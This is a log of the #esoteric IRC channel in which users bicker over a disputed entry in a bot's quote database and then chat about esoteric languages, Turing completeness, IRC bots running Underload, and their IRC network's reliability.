23:18:09 <elliott> "He started it! No, he started it!" -- Vorpal learns the rules of the playground.
23:18:15 <Phantom_Hoover> YOU ADDED THE QUOTE. IT IS STANDARD PRACTICE IN THESE SITUATIONS TO UNDO THE DISPUTED CHANGE UNTIL A RESOLUTION IS REACHED.
23:18:31 <elliott> I AM NOT SURE I AM AS MUCH OF A FAN OF CAPSLOCK NOW
23:18:36 <Vorpal> Phantom_Hoover, standard practise where
23:18:49 <Phantom_Hoover> I map the caps lock to control.
23:19:00 <elliott> I map mine to cruise control.
23:19:20 <Vorpal> Phantom_Hoover, I map it the same way
23:19:37 <Phantom_Hoover> Makes typing in caps painful.
23:19:49 <Vorpal> Phantom_Hoover, not that you do that often...
23:19:53 <Vorpal> I don't at least
23:19:56 <oerjan> Phantom_Hoover: it's not a matter of the single quote any more. elliott removed the _entire_ quote system.
23:20:02 <Phantom_Hoover> oerjan, yes, I know.
23:20:06 <elliott> oerjan: The entire quote system that I wrote :P
23:20:15 <Phantom_Hoover> And I'm not going to defend that; that was immature.
23:20:16 <Vorpal> oerjan, well that is *his* problem
23:20:23 <elliott> It can be put back in one damn command.
23:20:26 <EgoBot> Score for iconmaster_ill_assume_the_tape_is_ten_long: 4.9
23:20:26 <EgoBot> Score for iconmaster_ill_assume_the_tape_is_ten_long: 4.9
23:20:28 <elliott> I'm just not going to do it myself because Vorpal will start up again.
23:20:31 <Phantom_Hoover> But Vorpal is the one who has prolonged this when he was clearly in the wrong.
23:20:44 <Vorpal> I'm going to leave it to someone else
23:21:08 <Vorpal> Phantom_Hoover, "clearly"?
23:21:36 <Vorpal> oerjan, but you could easily do it yourself. I believe you want revision 53
23:21:51 <oerjan> <elliott> It can be put back in one damn command. <-- sure. but i don't know that command and cannot be bothered to learn it.
23:22:01 <Phantom_Hoover> Vorpal, you added the quote, which was a childish jibe at elliott. When asked to remove it, you repeatedly re-added it.
23:22:07 <Vorpal> oerjan, you want `revert 53
23:22:08 <oerjan> Vorpal: i made a decision.
23:22:17 <Vorpal> oerjan, that one being?
23:22:25 <elliott> oerjan: I was defusing a ridiculous situation; I'll leave the rest up to Gregor as he's the only one with any vague kind of authority wrt HackEgo.
23:22:29 <elliott> Have I mentioned that this is ridiculous?
23:22:45 <Vorpal> elliott, I agree that it is ridiculous
23:23:29 <Vorpal> Phantom_Hoover, the reverse happened in the past. And then I believe no one sided with the person wanting to remove it
23:24:06 <Phantom_Hoover> Vorpal, *noöne has sided with you here.*
23:24:13 <Vorpal> Phantom_Hoover, I'm not suggesting that favouritism for elliott here... that would be far beyond me...
23:24:31 <Vorpal> that there is*
23:24:59 <Vorpal> Phantom_Hoover, you mean here as in this specific case? Perhaps.
23:25:22 <elliott> oerjan: nasty favouritist.
23:25:24 -!- zzo38 has joined.
23:25:24 <Vorpal> Phantom_Hoover, not a majority has said their opinion yet. So we are, as to speak in the dark.
23:25:28 <elliott> (Favouritist: A WORD? Experts disagree.)
23:25:41 <Phantom_Hoover> Vorpal, that is not the way it works.
23:25:41 -!- elliott has quit (Read error: Connection reset by peer).
23:25:58 -!- elliott has joined.
23:26:01 <Vorpal> I rather like "Did you mean: Favouritest" on googling "Favouritist".
23:26:13 <Vorpal> Phantom_Hoover, not with all those idlers no
23:27:23 <Phantom_Hoover> Vorpal, _noöne except you thought that quote was funny._
23:27:30 <Phantom_Hoover> _Both me and elliott reverted it._
23:27:42 <Vorpal> Phantom_Hoover, no one who voiced their opinion*
23:28:40 * Phantom_Hoover slams his head into the wall that is Vorpal.
23:29:15 <Vorpal> Phantom_Hoover, you could explain *why* that statement isn't true
23:29:25 <elliott> vorpal is *still* bitching? sheesh. I left the channel for five minutes.
23:29:37 <Phantom_Hoover> Vorpal, it's like explaining *why* 2+2 is 4.
23:29:41 <Vorpal> elliott, no I'm not. I'm just replying to Phantom_Hoover's lines now
23:29:47 <elliott> let me know when he stops
23:29:51 -!- elliott has left (?).
23:30:12 <Phantom_Hoover> It's possible, but you assume that anyone you actually argue with will be able to see its obvious truth.
23:30:37 <Vorpal> Phantom_Hoover, that is because of how + is defined. We could define it in terms of incrementing
23:30:40 <Vorpal> and then explain it
23:31:08 <Vorpal> Phantom_Hoover, lets assume I'm no expert in whatever legal system you seem to be alluding to above in a few places
23:31:13 <Phantom_Hoover> Vorpal, so you're honestly saying that you think that a minority overrides a majority if not everyone has voiced an opinion?
23:31:43 <Vorpal> Phantom_Hoover, no... I'm saying we do not have a quorum
23:32:21 <Vorpal> Phantom_Hoover, I'm waiting for your reply
23:33:02 <Phantom_Hoover> Vorpal, you wanted the quote there. elliott and I both wanted it gone. You *defer to majority opinion*.
23:33:13 <Vorpal> Phantom_Hoover, no quorum.
23:33:17 <Vorpal> Phantom_Hoover, please reply to that
23:33:23 <Phantom_Hoover> At *least* until you have some mediation.
23:33:38 <Phantom_Hoover> Vorpal, FFS THIS IS NOT A BLOODY PARLIAMENT
23:33:49 <Phantom_Hoover> THIS IS _BASIC_ HUMAN INTERACTION
23:34:23 <Vorpal> Phantom_Hoover, quorum can apply to non-parliament situations according to google define:
23:34:30 <Vorpal> "a gathering of the minimal number of members of an organization to conduct business"
23:34:42 * Phantom_Hoover sobs
23:34:44 * Phantom_Hoover sobs
23:34:45 * Phantom_Hoover sobs
23:34:51 <Vorpal> Phantom_Hoover, though it may or may not apply here
23:35:19 -!- elliott has joined.
23:35:20 <Phantom_Hoover> Vorpal, please sum up briefly why, exactly, a quorum is necessary here.
23:35:23 <elliott> Has he stopped blabbing yet?
23:35:24 <elliott> Oop.
23:35:27 <elliott> ...quorum?
23:35:30 <elliott> I don't even want to know.
23:35:31 -!- elliott has left (?).
23:35:49 -!- pikhq_ has joined.
23:35:53 <Vorpal> Phantom_Hoover, it might not be. That is open to discussion.
23:35:58 <Vorpal> Phantom_Hoover, night →
23:36:21 -!- pikhq has quit (Ping timeout: 264 seconds).
23:36:25 -!- poiuy_qwert has joined.
23:36:39 <Phantom_Hoover> My brain is under serious strain here.
23:37:12 <quintopia> my vote is that quote dbs exist in order to make people look bad. therefore, if it isn't funny, and it doesn't embarass someone, delete it.
23:37:25 <quintopia> that said, i do not know what quote we are talking about
23:37:33 <Phantom_Hoover> Vorpal, also, do you have a QUORUM for demonstrating that you are asleep.
23:37:38 <Phantom_Hoover> Or going to sleep.
23:37:53 <Phantom_Hoover> I MAINTAIN THAT HE IS IN FACT AWAKE
23:38:09 <Phantom_Hoover> ALL CONCURRING VOICES
23:38:39 -!- elliott has joined.
23:38:43 <elliott> Has he stopped yet?
23:38:52 <Phantom_Hoover> elliott, DO YOU VOTE THAT HE IS NOT GOING TO SLEEP
23:38:59 <elliott> What was that about quorums? Did Vorpal form a nomic to decide whether the quote stays or not?
23:39:02 <Phantom_Hoover> WE NEED A QUORUM
23:39:40 <quintopia> is it that whole hh:mm:ss quote? it's pretty not funny.
23:39:49 <elliott> Yes.
23:40:01 <Phantom_Hoover> Actual, serious (well, as serious as this idiocy can get) point: if there's not enough votes to decide, you go back to the previous state of things.
23:40:10 <elliott> quintopia: It was just added as part of Vorpal's semi-regular latch-on-to-anything-not-vaguely-positive-about-elliott-and-reply-with-extreme-agreement-because-elliott-sucks.
23:40:15 <Phantom_Hoover> So even by Vorpal's insane argument, he's *still* in the wrong.
23:40:23 <elliott> Vorpal goes on regular tirades of the sort for no apparent reason other than his being childish.
23:40:30 <quintopia> ah
23:40:32 <elliott> (At least I have the excuse of age.)
23:40:43 <elliott> Now wait until that ping causes him to wake back up, run to his computer, and disagree.
23:40:47 <quintopia> yes. that is childish. there are better ways to make the point that you suck.
23:40:48 <fizzie> Phantom_Hoover: Rather obviously the correct thing to do here is to obtain a ruling from the #esoteric arbitration board as to what sort of quote approval processes are acceptable.
23:40:49 <oerjan> Phantom_Hoover: you are not helping.
23:41:04 <Phantom_Hoover> elliott, you don't have the ASTONISHING MATURITY of my perspective on things.
23:41:07 -!- j_ has joined.
23:41:14 <Phantom_Hoover> oerjan, this is beyond help.
23:41:24 <elliott> j_: what did you do to k and l?
23:41:26 <oerjan> Phantom_Hoover: possibly.
23:41:42 <j_> that ain't ehird is it
23:41:44 <iconmaster> I know! Let's compromise. We'll keep the first half of the quote and delete the latter half.
23:41:55 <elliott> j_: Erm...
23:41:56 <fizzie> Also, catalysts! I've read those can lower the channel temperature.
23:41:57 <elliott> Do I know you?
23:42:11 -!- j_ has changed nick to jayCampbell.
23:42:11 <Phantom_Hoover> iconmaster, BETTER IDEA:
23:42:11 -!- elliott has quit (Read error: Connection reset by peer).
23:42:28 -!- elliott has joined.
23:42:28 <Phantom_Hoover> Take every other letter of the quote!
23:42:31 <quintopia> iconmaster: why don't we delete every other character. that way there are no arguments about whether we left out the "good part"
23:42:32 <elliott> This connection hates me
23:42:38 <jayCampbell> used to nomic
23:42:45 <quintopia> also, ninja'd by PH
23:43:06 <iconmaster> Phanom_Hoover: Good idea. Lemme get the quote.
23:43:22 <jayCampbell> ais523's another familiar name
23:44:03 -!- elliott has quit (Read error: Connection reset by peer).
23:44:12 <oerjan> `quote
23:44:28 -!- elliott has joined.
23:45:47 <oerjan> `echo hi
23:45:52 <iconmaster> The quote is now:
23:45:55 <iconmaster> <opl lit,h:ms elot ttmn hm:s<opl usin hm:s2<lit>saeetrpae LTR]<ewat lit:Dnt"gi"m hnIsn oehn ntesm eoda o o:P
23:46:10 <elliott> iconmaster: Beautiful.
23:46:11 <oerjan> iconmaster: wat
23:46:16 <ais523> oh, hi jayCampbell
23:46:36 <jayCampbell> howdy! i see you're still at it
23:46:36 <iconmaster> oerjan: Deleted every other character. As a compromise.
23:46:50 <ais523> not nomicing right now, as it happens
23:47:00 <ais523> but still following some, and I'll probably join one again in a bit
23:47:14 <jayCampbell> i saw you on esolang i think
23:47:47 <ais523> I'm an admin there, so that would make sense
23:47:50 <HackEgo> hi
23:47:50 <HackEgo> No output.
23:47:55 <oerjan> aha
23:47:58 <oerjan> `quote
23:47:58 <HackEgo> No output.
23:48:05 -!- ChanServ has set channel mode: +o oerjan.
23:48:06 <elliott> I'll do it
23:48:14 <elliott> What's the revert param again...
23:48:22 <ais523> what happened to `quote?
23:48:28 <elliott> ais523: vorpal happened
23:48:29 <elliott> `revert 53
23:48:31 <elliott> There we go.
23:48:34 <HackEgo> Done.
23:48:36 <jayCampbell> how would you describe a language without loops, that only runs data thru a large tree of logic gates
23:48:38 <oerjan> `quote
23:48:42 <HackEgo> 90) <Sgeo> I'd imagine that it already has, and no one noticed
23:48:57 <oerjan> `ls
23:48:59 <HackEgo> babies \ bin \ bluhbluh \ env \ foo \ paste \ ps \ quine \ quotes \ test \ test.c \ tmpdir.12609
23:49:10 <oerjan> `run tail -1 quotes
23:49:12 <HackEgo> <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
23:49:18 <oerjan> OK THEN
23:49:24 -!- oerjan has set channel mode: -o oerjan.
23:50:01 -!- cheater00 has joined.
23:50:02 <Deewiant> `head bin/addquote
23:50:03 <HackEgo> #!/bin/sh \ [ "$1" ] || exit 1 \ printf "%s\n" "$1" >>quotes \ echo $(wc -l quotes | cut -d' ' -f1)") $1"
23:50:25 <quintopia> elliott: do you like cat bowling? http://senorgif.memebase.com/
23:50:33 <elliott> Cat...bowling
23:50:36 -!- elliott has quit (Read error: Connection reset by peer).
23:50:54 -!- elliott has joined.
23:51:32 <oerjan> ais523: elliott and Vorpal happened.
23:51:33 <Phantom_Hoover> <jayCampbell> how would you describe a language without loops, that only runs data thru a large tree of logic gates
23:51:36 <Phantom_Hoover> Non-TC.
23:51:49 <ais523> yep, it could definitely be interesting
23:51:58 <ais523> but is going to be non-TC unless you enclose the whole program in a loop or something like that
23:52:04 <oerjan> the exact placement of blame being itself a part of the problem
23:52:07 <Phantom_Hoover> ais523, psht, we're #esotericers!
23:52:07 <ais523> (and if it's just logic gates, that implies finite state so non-TC even if you do that)
23:52:19 <Phantom_Hoover> Non-TC is UNINTERESTING
23:52:29 <elliott> Phantom_Hoover: So Coq is uninteresting?
23:52:32 <Phantom_Hoover> elliott, YES
23:52:38 <quintopia> i think non-TC is the MOST INTERESTING
23:52:48 <Phantom_Hoover> quintopia, I WAS IN FACT BEING SARCASTIC
23:52:53 <quintopia> because everybody and their brother is TC
23:52:58 <quintopia> Phantom_Hoover: I RECOGNIZE THIS FACT
23:53:03 <quintopia> THANK YOU
23:53:05 <quintopia> I WAS NOT
23:53:07 -!- cheater- has quit (Ping timeout: 240 seconds).
23:53:13 <Phantom_Hoover> Hey guys, remember Madk?
23:53:19 <elliott> Vaguely?
23:53:22 <elliott> What did he do again?
23:53:24 <Phantom_Hoover> http://www.minecraftforum.net/viewtopic.php?f=1010&t=18829
23:53:38 <Phantom_Hoover> elliott, made a nuisance of himself on the wiki,
23:53:52 -!- elliott has quit (Read error: Connection reset by peer).
23:54:00 <jayCampbell> non-tc is non-uninteresting if you have an infinitely large pile of virtual transistors
23:54:07 -!- elliott has joined.
23:54:09 <ais523> indeed, there's no reason everything has to be TC
23:54:43 <Phantom_Hoover> ais523, yes, I know. I may have expressed my irritation at people who think that good = TC before.
23:55:26 <quintopia> but what is your opinion of people who think that non-TC is good?
23:55:43 <Phantom_Hoover> I am one of them.
23:55:57 <elliott> Phantom_Hoover: I love how that thread got derailed by people talking about random esolangs
23:56:14 <oerjan> HERETICS
23:56:19 <Phantom_Hoover> Madk censors "Brainfuck".
23:56:24 <elliott> So does impomatic :P
23:56:28 <Phantom_Hoover> And CamelCases it.
23:56:40 <elliott> Well that's inexcusable.
23:56:47 <Phantom_Hoover> Well yeah, but impomatic hasn't come up onto my hatedar.
23:56:52 <elliott> lol @ writing a tutorial for an esolang
23:57:17 <ais523> my parents get annoyed at me not censoring "brainfuck"
23:58:36 <jayCampbell> i have designed most of the basic logic gates in minecraft using water instead of redstone
23:58:37 <Phantom_Hoover> [[Haha, that's actually quite brilliant :)]]
23:59:00 <Phantom_Hoover> jayCampbell, are they self-resetting?
23:59:06 <jayCampbell> no
23:59:07 <elliott> Phantom_Hoover: Impossible :P
23:59:20 <Phantom_Hoover> elliott, yes, it was a leading question.
23:59:22 <jayCampbell> hence my earlier questions
23:59:40 <Phantom_Hoover> Have you got a universal gate implemented?
23:59:42 <jayCampbell> i've seen languages in run-once environments but can't remember any
23:59:49 <oerjan> BrAiNfuCk
2011-02-20
00:00:19 <Phantom_Hoover> Because if you do it's just equivalent to whatever the fancy name for boolean circuits is.
00:00:33 <quintopia> wow
00:00:35 <jayCampbell> i can nand
00:00:39 <quintopia> that Yourself guy is a douche
00:00:47 <elliott> quintopia: ?
00:00:53 <fizzie> oerjan: BrAiNfucK, doubling as a subtle dig against the financial industry.
00:00:54 <elliott> oh on the forum thing
00:01:01 <elliott> "Then you're not doing it because you want to use it, you're just doing it to waste time. Not that there's anything wrong with doing that for the sake of doing it, it's just often a very bad decision in terms of productivity."
00:01:07 <Sgeo_> ‫kcufniarb
00:01:11 <oerjan> fizzie: hey i didn't notice that
00:01:15 -!- elliott has set topic: Being in this channel is a very bad decision in terms of productivity. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
00:01:19 <quintopia> "Reinventing the wheel is rarely a productive use of anyone's time."
00:01:20 <oerjan> (SYNCHRONICITY)
00:01:23 <Phantom_Hoover> [[I don't know what makes you think having no keywords will make it easier to parse. It'd make it much, much harder, at least from my experience :/]] — Madk
00:01:58 <Phantom_Hoover> PUNCTUATION: FUNDAMENTALLY HARDER TO PARSE
00:02:45 <quintopia> it depends on the language. sometimes keywords decrease ambiguity by making the language regular or at least context-free
00:03:16 <Phantom_Hoover> elliott, hey, being in this channel *is* a bad decision in terms of productivity.
00:03:19 <Phantom_Hoover> Just ask cpressey.
00:03:45 <Phantom_Hoover> ALSO: Underload in dc.
00:03:56 <Phantom_Hoover> Interesting?
00:04:06 <oerjan> THAT MEANS IT'S TC
00:04:14 * oerjan slithers back into the corner
00:04:25 <elliott> dc isn't TC :P
00:04:28 <elliott> Well.
00:04:31 <elliott> If you use the register stacks.
00:04:33 <elliott> Then maybe
00:04:42 <oerjan> elliott: IF IT CAN DO UNDERLOAD THEN IT IS
00:04:56 <elliott> oerjan: NOT IF IT'S RESTRICTED UNDERLOAD
00:05:09 <Phantom_Hoover> elliott, LET'S SUPPOSE THAT SEGFAULTS DO NOT EXIST
00:05:10 <jayCampbell> hoover, i think you're correct, this set of gates makes up a boolean circuit
00:05:16 <oerjan> RESTRICTED? YEAH LEAVE OUT a*! OH WAIT
00:05:18 <elliott> *J. Edgar Hoover,
00:05:24 <elliott> If you're going to abbreviate at least get it right!
00:05:28 <Phantom_Hoover> elliott, *Herbert Hoover
00:05:33 <elliott> oerjan: LAWLS
00:05:34 -!- yorick has quit (K-Lined).
00:05:40 <elliott> `addquote * yorick has quit (K-Lined)
00:05:51 <elliott> Think #freenode will know why he was K-lined? :P
00:06:31 <elliott> Phantom_Hoover: *W. H. "Boss" Hoover
00:06:36 <HackEgo> 317) * yorick has quit (K-Lined)
00:08:52 <Phantom_Hoover> Well, fool that I am, I did enquire in #freenode as to whether they disclosed reasons for K-lines.
00:08:57 <Phantom_Hoover> They said no.
00:09:34 <jayCampbell> alas, poor yorick
00:09:55 <Phantom_Hoover> I knew him, Horatio!
00:09:59 -!- Zuu has quit (Read error: Connection reset by peer).
00:10:35 <quintopia> there's some channel here where you could be kicked for making shakespearean references around him...which was that?
00:10:54 <elliott> #boring
00:11:01 <fizzie> On a real IRC server "/stats K" would give you a list of K-lines, including the reason-message, but of course not on freenode.
00:11:05 <Phantom_Hoover> quintopia, re that Yourself guy, I am actually inclined to agree with him.
00:11:20 <Phantom_Hoover> Imperative esolangs are no longer fun.
00:11:39 <quintopia> he got more reasonable on the second page
00:12:00 <elliott> fizzie: Is it just me, or are freenode convinced that they're the only IRC network that matters out there?
00:12:05 <elliott> Thus their complete ignorance of all conventions.
00:12:34 <quintopia> Phantom_Hoover: i disagree
00:12:48 <Phantom_Hoover> quintopia, hm?
00:12:48 <quintopia> there are fun imperative esolangs still being invented
00:13:17 <Phantom_Hoover> quintopia, but every other esolang is one, and novelty is stretched thin.
00:13:20 <quintopia> usually it's because they involve some sort of unusual control flow that requires funky ways of thunking
00:14:21 <quintopia> i agree that the "here's some instructions! string them together in order!" is usually pretty boring
00:14:36 -!- Zuu has joined.
00:14:36 -!- elliott has quit (Read error: Connection reset by peer).
00:14:37 <quintopia> but that doesn't mean imperative esolangs are dead
00:14:58 -!- elliott has joined.
00:15:55 <Sgeo_> Why do email addresses allow comments?
00:16:27 <ais523> so that they can allow nested comments
00:16:28 -!- elliott has quit (Read error: Connection reset by peer).
00:16:42 <ais523> quintopia: hmm, would you consider Forte imperative?
00:16:51 <ais523> it's definitely /disguised/ as imperative, but I'm not sure that that means it is
00:16:58 <Sgeo_> ais523, uh
00:17:09 <ais523> Sgeo_: I may not have been being entirely serious
00:17:20 <Sgeo_> Ok, thoght so, wasn't sure
00:18:28 -!- elliott has joined.
00:18:55 <elliott> ping
00:18:57 <elliott> ping ping
00:19:32 <elliott> ais523: Forte would be more fun if every command was a number.
00:19:39 <ais523> ouch
00:19:42 <quintopia> ais523: i can't really see exactly how the control flow in it works.
00:19:43 <elliott> With all the same redefinition applying.
00:19:46 <ais523> it wouldn't make too much difference, actually
00:19:48 <elliott> quintopia: by changing numbers
00:19:53 <elliott> ais523: But it would be more fun!
00:19:54 <ais523> because you just wouldn't change the numbers in question at all
00:19:56 <quintopia> DUH
00:19:59 <elliott> ais523: you'd have to
00:19:59 <elliott> somehow
00:20:19 <ais523> making a large Forte program normally involves reserving a block of small integers and deciding in advance that you won't change them at all
00:21:15 <elliott> ais523: bring thutubot back!
00:21:23 -!- augur has quit (Ping timeout: 250 seconds).
00:21:44 -!- coppro has quit (Quit: leaving).
00:22:00 <oerjan> <ais523> it's definitely /disguised/ as imperative, but I'm not sure that that means it is <-- shades of Feather?
00:22:10 -!- thutubot has joined.
00:22:12 <ais523> Feather isn't disguised as anything, as far as I know
00:22:23 <ais523> also, I've completely forgotten the commands for this thing
00:22:25 <ais523> let me look at the source
00:22:29 <elliott> +haskell 2+2
00:22:31 <elliott> ,haskell 2+2
00:22:32 -!- coppro has joined.
00:22:34 <elliott> -haskell 2+2
00:22:37 <elliott> .haskell 2+2
00:22:41 <elliott> £haskell 2+2
00:22:42 <ais523> + is the command character
00:22:46 <elliott> +haskell 2+2
00:22:49 <oerjan> ais523: no i mean forte might have shades of feather
00:22:50 <elliott> doesn't it talk to \bot for that?
00:22:59 <elliott> oerjan: anything self-modifying has shades of feather
00:23:00 <ais523> it does, but I fear it's broken
00:23:05 <oerjan> with its changing unchanging things
00:23:13 <elliott> ais523: can you paste the code again? :-P
00:23:14 <ais523> it did send the /msg to lambdabot, by the look of it
00:23:35 <ais523> and with the right syntax
00:23:46 <ais523> but lambdabot decided not to reply for whatever reason
00:24:13 <oerjan> ais523: didn't lambdabot sometimes fail with unregistered nicks
00:24:14 <elliott> wow, thutu is whitespace-sensitive?
00:24:19 <ais523> oerjan: might be
00:24:20 <ais523> elliott: yep
00:24:25 <ais523> +hello
00:24:25 <thutubot> Hello, ais523!
00:24:25 <oerjan> > 2+2
00:24:26 <lambdabot> 4
00:24:26 <thutubot> 4
00:24:30 <elliott> like, indentation-sensitive?
00:24:32 <ais523> yep
00:24:36 <elliott> +hello
00:24:36 <thutubot> Hello, elliott!
00:24:37 <oerjan> wtf
00:24:39 <elliott> wow, fast
00:24:39 <ais523> just because I hate it doesn't mean I won't do it
00:24:39 <elliott> +hello
00:24:39 <thutubot> Hello, elliott!
00:24:42 <elliott> +hello
00:24:42 <thutubot> Hello, elliott!
00:24:43 <oerjan> > 5
00:24:44 <lambdabot> 5
00:24:44 <thutubot> 5
00:24:47 <oerjan> uh uh
00:24:49 <elliott> oerjan: it relies on lambdabot to evaluate haskell
00:24:50 <elliott> :P
00:24:50 <Phantom_Hoover> +hello
00:24:51 <thutubot> Hello, Phantom_Hoover!
00:24:54 <elliott> +haskell 7+9
00:25:07 <ais523> the +haskell was a joke
00:25:12 <oerjan> elliott: yeah but it resends _every_ lambdabot message it sees, even those here in the channel
00:25:16 <Phantom_Hoover> BEST. COP-OUT. EVER.
00:25:18 <elliott> oerjan: it's written in thutu, give it a break
00:25:22 <Phantom_Hoover> @echo Yo.
00:25:22 <lambdabot> echo; msg:IrcMessage {msgServer = "freenode", msgLBName = "lambdabot", msgPrefix = "Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486", msgCommand = "PRIVMSG", msgParams = ["#esoteric",
00:25:22 <lambdabot> ":@echo Yo."]} rest:"Yo."
00:25:22 <thutubot> echo; msg:IrcMessage {msgServer = "freenode", msgLBName = "lambdabot", msgPrefix = "Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486", msgCommand = "PRIVMSG", msgParams = ["#esoteric",
00:25:23 <thutubot> ":@echo Yo."]} rest:"Yo."
00:25:23 <ais523> <thutubot> PRIVMSG lambdabot :@run 7+9
00:25:27 <elliott> ...
00:25:29 <elliott> X-D
00:25:39 <elliott> @run 7+9
00:25:40 <lambdabot> 16
00:25:40 <thutubot> 16
00:25:57 <elliott> oerjan: hm you know my regexp language?
00:26:03 <ais523> +ul (:aSS):aSS
00:26:03 <thutubot> (:aSS):aSS
00:26:07 <oerjan> elliott: not on the spot...
00:26:10 <ais523> that one isn't cheating, btw
00:26:12 <elliott> oerjan: where {a,b,c} -> replace b with c in a and repeat?
00:26:14 <elliott> oerjan: where those are three lines
00:26:15 <ais523> it's an actuall Underload-in-Thutu
00:26:17 <ais523> *actual
00:26:17 <oerjan> ais523: so can it run my turing machine? >:)
00:26:23 <elliott> and if you end up with anything other than three lines, print it
00:26:24 <elliott> you implemented it
00:26:25 <ais523> oerjan: likely very slowly
00:26:33 <ais523> and I think there's a timeout which doesn't display a message
00:26:42 <ais523> at least I hope there is, because otherwise you'll use up all my CPU and memory for no reason
00:26:54 <Phantom_Hoover> elliott, incidentally, why don't you like phpBB?
00:26:56 <ais523> +ul (:^):^
00:26:57 <thutubot> ...out of time!
00:27:24 <elliott> Phantom_Hoover: I don't like that style of forum in general
00:27:25 <ais523> anyway: http://sprunge.us/KEEC?thutu
00:27:29 <elliott> "?thutu"
00:27:30 <elliott> classic
00:27:35 * ais523 feels confident in adding the query param in the knowledge it won't work
00:27:37 <Phantom_Hoover> elliott, I agree, actually...
00:27:49 <ais523> heh, it just added line numbers and nothing else
00:27:58 <Phantom_Hoover> The noise:signal ratio is way too high, for a start.
00:28:25 <elliott> Phantom_Hoover: oh, I'm only a member of two, and one of them is private (the other semi-private) so that isn't really an issue
00:28:30 <elliott> but they're just really badly-designed in general
00:28:31 <ais523> I doubt that'd matter in an esolangs forum
00:28:34 <elliott> compared to email, for instance
00:28:41 <ais523> the issue is that a forum just isn't the right place for that sort of thing
00:28:44 <ais523> I like the IRC+wiki combination
00:28:49 <Phantom_Hoover> elliott, no, I mean in terms of UI.
00:28:55 <elliott> Phantom_Hoover: Exactly
00:29:04 <elliott> They tend to have huge swathes of the screen devoted to ego :)
00:29:26 <ais523> +quit
00:29:38 <ais523> hmm, +quit seems to be broken
00:29:38 <Phantom_Hoover> And a stupid box. And they don't have nice support for hierarchical comments.
00:29:50 <ais523> oh, I know why
00:29:53 <ais523> it's because we're on a different ircd
00:30:01 <ais523> it's set to only allow +quit from an identified ais523
00:30:01 <elliott> ais523: a different, shitty ircd
00:30:08 <ais523> but the syntax for being identified is different
00:30:13 -!- thutubot has quit (Remote host closed the connection).
00:30:15 <elliott> so far, it has been: less reliable; more annoying (throttling); ...
00:30:35 <ais523> the reliability recently doesn't count, Freenode were being DDOSed
00:30:53 <elliott> ais523: no, apart from that
00:30:56 <elliott> ais523: yesterday, we had massive desync
00:31:03 <elliott> I could talk to zzo38 but neither of us could see pikhq_'s messages, only clog could
00:31:07 <elliott> upon reconnecting, i could talk to pikhq_ but not zzo38
00:31:12 <ais523> wow, that's confusing
00:31:14 <elliott> then everyone saw /my conversation with zzo38/ -- including me --
00:31:16 <elliott> repeated into the channel
00:31:18 <elliott> including me quitting
00:31:18 <ais523> like a semi netsplit
00:31:20 <pikhq_> Dang that was a tedious proof.
00:31:26 <elliott> insane crap like that kept happening for the next 20 minutes or so
00:31:30 <elliott> it was ridiculous
00:31:34 <pikhq_> "Prove that if ad-bc≠0, then the reduced row echelon form of [[a,b],[c,d]] is [[1,0],[0,1]]."
00:31:48 <Phantom_Hoover> IRCNet is the one run by psychopaths, yes?
00:32:00 <Gregor> OK, maple cream soda syrup is made.
00:32:03 <Gregor> It is BLACK.
00:32:14 <elliott> Gregor: Seriously I want to buy some of this from you
00:32:17 <oerjan> +ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
00:32:18 <elliott> Phantom_Hoover: That's EFnet.
00:32:28 <ais523> oerjan: shall I bring thutubot back so you can do that?
00:32:30 <elliott> IRCnet ... might be, I guess, but EFnet is the one known for batshit insanity.
00:32:31 <Gregor> elliott: It costs me about the same as it would to buy normal soda :P
00:32:35 <Gregor> elliott: E_NOTSHIPPABLE
00:32:49 <elliott> Gregor: ;_;
00:32:50 -!- thutubot has joined.
00:32:52 <elliott> Gregor: But it sounds so delicious
00:32:54 <ais523> oerjan: try again now
00:32:57 <Gregor> elliott: IT SO IS
00:32:57 <elliott> And I want to give you millions of pounds for it
00:33:59 -!- lionod420 has joined.
00:33:59 -!- elliott has quit (Read error: Connection reset by peer).
00:34:27 -!- elliott has joined.
00:34:28 <oerjan> +ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
00:34:31 <thutubot> : ~ ~: ~~ ~:: ~:~ ~~: ~~~ ~::: ~::~ ~:~: ~:~~ ~~:: ~~:~ ~~~: ~~~~ ~:::: ~:::~ ~::~: ~::~~ ~:~:: ~:~:~ ~:~~: ~:~~~ ~~::: ~~::~ ~~:~: ~~:~~ ~~~: ...too much output!
00:34:44 <oerjan> ok then
00:34:45 <ais523> is that correct?
00:34:50 <pikhq_> 5 fucking cases.
00:34:52 -!- lionod420 has left (?).
00:34:53 <oerjan> certainly looks so
00:34:54 <pikhq_> 5 fucking row reductions.
00:34:56 <pikhq_> Bleck.
00:35:04 <pikhq_> At least it wasn't *hard*. :P
00:35:05 <elliott> lol @ too much output emulation
00:35:07 <elliott> does it just talk to fungot? >:D
00:35:08 <oerjan> the expanded version doesn't fit on an irc line, of course
00:35:18 <oerjan> and is much slower
00:35:23 <ais523> elliott: no, if you compare thutubot and fungot, you'll see the errors are slightly different and happen at different times
00:35:27 <elliott> SUUUUURE
00:35:38 <ais523> ^ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
00:35:51 <ais523> also, thutubot only checks "too much output" after a full S instruction
00:35:53 <ais523> meaning you can trick it
00:36:00 <oerjan> ais523: i did the expanded version in your js interpreter and it took several minutes to print enough that i could see it was working
